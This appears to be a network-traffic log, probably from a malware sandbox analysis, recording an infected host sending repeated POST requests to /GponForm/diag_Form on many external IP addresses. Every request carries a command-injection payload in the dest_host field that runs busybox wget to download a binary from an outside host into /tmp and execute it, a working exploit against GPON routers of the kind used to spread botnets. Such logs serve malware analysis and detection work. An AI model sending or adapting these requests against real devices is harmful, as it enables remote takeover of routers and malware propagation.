Apr 14, 2024 04:00:24.338438988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.23	52238	2.214.84.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338469028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.23	51870	109.34.98.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338500023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.23	46534	79.215.122.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338531971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.23	60276	212.168.140.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338562012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.23	45882	94.199.218.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338612080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.23	51872	148.150.131.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338643074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.23	49498	2.53.17.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338668108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.23	44172	94.223.6.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338694096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.23	49908	118.87.136.30	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338723898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.23	34204	2.216.158.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338757038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.23	35132	212.178.100.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338795900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.23	39274	37.225.105.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338833094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.23	60104	2.116.49.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338867903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.23	35668	178.168.111.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338906050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.23	42570	79.149.200.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338949919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.23	41222	109.198.196.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338985920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.23	43768	118.88.129.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339032888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.23	37806	109.164.151.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339066982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.23	47924	210.146.14.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339107990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.23	35034	118.85.208.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339138985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.23	59378	202.67.165.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339175940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.23	44188	178.11.203.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339211941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.23	38284	210.238.183.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339236021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.23	41034	118.25.106.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339273930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.23	45308	123.162.124.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339304924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

